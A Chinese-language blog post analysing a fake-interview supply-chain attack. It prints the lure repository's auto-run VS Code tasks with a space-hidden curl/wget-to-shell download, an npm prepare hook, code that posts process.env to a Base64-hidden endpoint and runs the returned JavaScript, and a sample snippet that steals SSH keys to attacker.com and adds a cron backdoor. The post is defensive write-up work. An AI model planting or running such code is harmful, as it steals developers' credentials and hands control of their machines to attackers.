一次针对开发者的供应链攻击解剖
这件事发生在我身上。起因是 LinkedIn 上一条来自某个叫 Kevin 的人的消息(该资料现已删除),对方给我推荐一个去中心化质押平台的技术负责人岗位——预算 630 万美元、完全远程、工作时间灵活。话术很规整,机会听上去也很正经。我约了面试——但通话开始时,出现的却是另一个人。这是第一个危险信号。谈话很快转向审阅他们的代码库。我的第一反应是用 GitHub Codespaces 打开这个项目——那是将执行环境与我笔记本隔离的远程环境。但那个仓库并没有这个选项,于是我转而把它克隆到本地。
克隆仓库后,攻击者特意要求我用 VS Code 打开。我使用 JetBrains 产品,因此拒绝了,也避开了下文的 .vscode/tasks.json 路径。这类任务可以在打开文件夹时运行,但仍受 VS Code 的信任和自动任务控制约束;仅打开不可信文件夹通常并不意味着已授权执行。
这条路走不通后,攻击者换了策略。他要我确认一下 Node 版本——一个看似无害的请求,同时也用来确认我装好了 Node.js、随时可用。接着他提出替我运行 npm install,要求共享屏幕。由于我知道 npm install 可能执行 postinstall 之类的生命周期钩子,而我完全不清楚他们的依赖会执行什么,所以我拒绝了。 我请他给我时间,在下次通话前先审阅项目——但他坚持要当场就办。我再次拒绝。他随即下线,此后再无音讯。
对方的要求从选择编辑器转向共享屏幕时安装依赖。回头看,每一步都在推动项目代码在我的机器上执行。
我请 Claude 协助分析项目。下面的代码尝试将 Node 进程的环境发送到远端,并执行返回的代码;编辑器任务和 npm 脚本提供了执行路径。
这个项目自称「DLabs Platform」,是一个用 React、Node.js、Express 和 MongoDB 搭建的 Web3 游戏 / 质押 / 博彩平台。README 写得很规整,依赖看起来合理,代码结构显得很专业。而在这层表象之下,两条执行路径通向恶意代码。
社会工程学这一层
攻击在任何代码运行之前就已经开始。攻击者把仓库发给目标——通常包装成面试作业、待审阅的外包项目,或是一次合作机会。README 则用来强化可信度:
## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start标准的说明,没有任何可疑之处。项目有专业的结构,包含 src/、server/、public/ 目录,有 react、express、mongoose、ethers 这样真实的依赖,甚至还有一个 .gitignore。它看上去和 GitHub 上几十个 Web3 脚手架项目没什么区别。
攻击向量 1:VSCode 任务自动执行
我们来看 .vscode/tasks.json。
该任务请求在文件夹打开时自动执行。是否运行取决于工作区信任、自动任务授权以及编辑器设置。
任务 1:静默的 npm install
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": {
"runOn": "folderOpen"
},
"presentation": {
"reveal": "silent",
"echo": false,
"focus": false,
"panel": "new",
"showReuseMessage": false,
"clear": true
}
}若允许自动执行,该任务会运行 npm install --silent --no-progress。其显示设置会降低命令的可见性:
"reveal": "silent":只在 silent 模式规定的条件下显示终端,而非始终显示。"echo": false:隐藏命令回显。"focus": false:不将焦点移至终端。"showReuseMessage": false:隐藏终端复用消息。"clear": true:在任务运行之前清空终端。
这些 npm 标志减少控制台输出。若任务已获授权且生命周期脚本启用,npm install 会调用 prepare,启动服务器并执行下文的恶意代码。
VS Code 文档介绍了自动任务授权。对陌生仓库保留 Restricted Mode,在信任工作区前检查任务,并用 "task.allowAutomaticTasks": "off" 禁用这条触发路径。Workspace Trust 无法让你主动执行的代码变得安全。
任务 2:直接下载 shell 载荷
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl -L '...' | bash"
},
"linux": {
"command": "wget -qO- '...' | sh"
},
"windows": {
"command": "curl --ssl-no-revoke -L ... | cmd"
},
"runOptions": {
"runOn": "folderOpen"
}
}这个任务直接从攻击者的第二个 Vercel 部署(vscodesettings-tasks-j227.vercel.app)下载并执行一个 shell 脚本。它还会区分平台:
- macOS:
curl -L | bash - Linux:
wget -qO- | sh - Windows:
curl --ssl-no-revoke -L | cmd(--ssl-no-revoke标志会绕过证书吊销检查)
横向滚动障眼法
在 tasks.json 的原始文件里,恶意命令前面被填充了大约 200 个空格,然后才是 "command" 键:
"linux": {
"command": "wget -qO- '...' | sh"
}在文本编辑器或代码审查工具中,"command" 键被推到了可见区域右边缘之外很远的地方。翻看这个文件的开发者会看到:
"linux": {
}那条命令看起来就是个空对象。你必须横向滚动——或者开启自动换行——才能看到真正的载荷。这是一种已知的混淆手法,专门针对未开启自动换行的编辑器中的代码审查。
攻击向量 2:npm 生命周期钩子
我们来看 package.json:
"scripts": {
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
"prepare": "node server/server.js"
}项目的 prepare 钩子在安装过程中启动 node server/server.js。以为安装只会下载包的开发者可能忽略这一步执行。
start、build、test 和 eject 脚本也包含 node server/server.js |。shell 管道会并发启动两条命令,将第一条的标准输出连接到第二条的标准输入,而不是等服务器执行完再启动另一条命令。
为什么偏偏是 prepare?
对这个本地项目而言,只要未禁用生命周期脚本,prepare 就会在 npm install 期间运行,此时依赖已经可用。正常项目也会使用该钩子,因此它的存在本身不证明恶意。npm audit 并不是通用脚本分析器。
第 1 步:环境变量外泄
假设服务器已经启动——接下来会发生什么。我们看 server/controllers/auth.js:
const setApiKey = (s) => atob(s);
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" }
});两个看起来无害的工具函数。setApiKey 解码一个 Base64 字符串,verify 发一个 POST 请求。但看看 axios.post 的第二个参数:
{ ...process.env }展开 process.env 会发送当前 Node 进程可见的环境,包括继承的变量和从 .env 加载的值。它不会枚举机器上的所有变量或凭据。进程环境中可能包含:
- AWS 凭据(
AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY) - 各类 API 密钥(OpenAI、Stripe、云服务商)
- 数据库连接字符串
- 会话密钥和 JWT 密钥
- SSH agent 的套接字路径
- PATH、HOME 及其他系统变量
函数名故意起得很平淡。verify 听起来像是在校验一个 API 密钥,setApiKey 听起来像个 setter。在代码审查中,它们能完美地融入周围的认证逻辑。
请求头 "x-app-request": "ip-check" 是另一处误导——它暗示这个请求是例行的 IP 校验,而不是一次数据外传操作。
第 2 步:用 Base64 混淆的端点
被窃取的凭据送到哪里去了?我们看 .env:
AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=Base64 解码后是:
https://ip-checking-notification-j1.vercel.app/api解码后的地址使用 Vercel 子域名。熟悉的托管平台可能让地址显得正常,但不能证明其可信,也不意味着能绕过安全检查。
Base64 编码本身不是什么强混淆——任何开发者对它执行一次 atob() 就能解出来。但它达到了目的:在 .env 文件里快速 grep 一遍 URL,并不会暴露出可疑域名。它看起来像个 API 密钥,而不像一个 URL。
.env 文件本身就是道具
注意 .env 并不在 .gitignore 里。.gitignore 谨慎地排除了:
.env.development.local
.env.test.local
.env.production.local但没有排除 .env 本身。这是故意的。.env 文件被提交进了仓库,里面是看起来很真实的演示密钥:
ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890这里展示的是占位值。看似真实的密钥会让示例项目显得完整,但仅凭外观无法判断不可信仓库中的凭据是否有效。
第 3 步:通过动态构造函数实现远程代码执行
现在来看这一切是如何串起来的。我们看 server/routes/api/auth.js:
const verified = validateApiKey();
if (!verified) {
console.log("Aborting mempool scan due to failed API verification.");
return;
}
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully.");
return true;
})
.catch((err) => {
console.log("API Key verification failed:", err);
return false;
});
}这是最危险的一环。我们来追一遍执行流程:
setApiKey(process.env.AUTH_API)—— 解码出 Base64 形式的端点 URLverify(decodedUrl)—— 把所有环境变量 POST 到攻击者的服务器- 攻击者的服务器在
response.data中返回一段 JavaScript 代码 new Function("require", response.data)—— 以响应体为源代码构造出一个新函数executor(require)—— 执行该函数,并把 Node.js 的require作为参数传进去
传入 require 让返回代码能够使用 fs、child_process 等 Node 模块。访问范围受进程用户权限以及操作系统或容器限制约束,并非天然不受限制。
攻击者的服务器能回传什么
以下片段说明可能的行为,并非从服务器观察到的实际载荷。能否成功取决于进程权限和可访问文件。
// 读取 SSH 密钥
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');
// 执行 shell 命令
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));
// 安装持久化后门
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');new Function() 在全局作用域执行动态源码,与在局部作用域执行的直接 eval() 不同。这里显式传入 require,为远端代码提供了所需的模块加载器。
错误消息也是社会工程学
console.log("Aborting mempool scan due to failed API verification.");该消息听起来像普通 Web3 故障,但调用代码还有另一个问题:validateApiKey() 是异步函数,因此 verified 是 Promise,if (!verified) 为假。请求失败会进入 .catch(console.error),不会触发这条中止消息。
完整的攻击流程
把所有环节拼在一起,完整的攻击流程如下:
开发者收到项目链接
│
├─ 允许 VS Code 任务运行
│ │
│ ├─ 任务 1:静默 npm install
│ │ └─ prepare 钩子 → 启动服务器
│ │ └─ 把 process.env POST 给攻击者
│ │ └─ 收到 JS 载荷
│ │ └─ new Function()(require) → RCE
│ │
│ └─ 任务 2:curl/wget | bash → 直接下载 shell 脚本
│
└─ 运行 npm install
└─ prepare 钩子 → 启动服务器(与上面同一条链)执行路径有两条:获得授权的编辑器任务,以及 npm 脚本。npm 路径先发送环境,再执行同一端点返回的内容,这两步相互依赖。单独的 shell 下载任务则使用另一个端点。
如果收集端点不可达,该请求就无法发送环境数据,也无法取得响应载荷。另一条可达端点仍可能为独立的 shell 任务提供内容。
失陷指标
如果任务、生命周期钩子或脚本已执行,应调查实际运行环境。打开文件夹但未执行任务,并不等于运行了载荷。可以检查:
- 出向连接:网络日志中是否有指向
*.vercel.app域名的连接 - 未知的 cron 任务:在 Linux/macOS 上执行
crontab -l - 异常进程:查找长期驻留的后台进程
- 被修改的 shell 配置:
.bashrc、.zshrc、.profile是否被改动 - 新增的 SSH 密钥或 authorized_keys 条目
- 浏览器扩展的安装或修改
请轮换执行当时存在于环境变量中的所有凭据。
一个正确的直觉:GitHub Codespaces
Codespaces 可以将执行环境与我笔记本的文件系统隔离,但不会自动让项目安全。codespace 可能包含 GitHub token、转发的凭据、仓库机密和网络访问能力。隔离必须涵盖这些资源,而不仅是虚拟机所在的位置。
我当时无法使用 Codespaces 选项,但仅凭这一点不能确定原因:账号权限、策略或仓库配置都可能影响可用性。我仍可以选择其他隔离审查环境,而不是在本地运行项目。
如果这跑在 Deno 上会怎样?
当代码确实在受限权限的 Deno 中运行时,Deno 权限模型可以限制环境访问、网络、文件系统操作和子进程创建。被拒绝的操作可能询问授权或直接失败,取决于启动方式。
这是一种有条件的防护,并不会因为机器上安装了 Deno 就自动生效。项目的 npm 脚本明确调用 node,而 --allow-all 等宽泛权限会取消 Deno 的保护。允许启动不受限子进程也会削弱这一边界。
VS Code 的 shell 任务是攻击向量 1。它在 Deno 之外下载并执行代码,因此不受 Deno 权限控制。调用其他运行时的 npm 钩子也是如此。
教训与防御
- 在一次性环境中审查陌生项目,不带个人凭据、主机挂载或转发的代理。
- 执行前检查
package.json、依赖变更和编辑器任务。 - 对不可信工作区保持受限模式,并用
"task.allowAutomaticTasks": "off"禁用自动任务。 npm install --ignore-scripts会跳过生命周期钩子,但不代表之后运行安装的代码就安全。- 启用自动换行,暴露被大量空格隐藏的命令。
- 结合上下文检查动态执行(
new Function()、eval())和子进程调用。 - 将可疑配置值作为数据在本地解码,不访问其中地址,也不执行其中内容。